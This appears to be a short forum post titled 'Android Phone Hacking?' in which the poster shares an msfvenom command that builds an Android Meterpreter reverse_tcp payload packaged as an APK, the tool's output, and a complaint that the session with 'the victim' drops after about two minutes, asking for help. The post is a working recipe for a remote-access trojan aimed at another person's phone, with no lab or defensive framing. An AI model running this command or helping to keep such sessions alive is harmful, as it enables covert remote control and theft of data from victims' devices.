Android Phone Hacking?

i tried this

msfvenom -p android/meterpreter/reverse_tcp LHOST={ip} LPORT={port} R >/root/FILENAME.apk

i get this

msfvenom -p android/meterpreter/reverse_tcp LHOST={ip} LPORT={port} R >/root/FILENAME.apk

No platform was selected, choosing Msf::Module::Platform::Android from the payload

No Arch selected, selecting Arch: dalvik from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 8373 bytes

but when ever the victim click the app it will connect then like 2min it will close connection don't know why.

i need help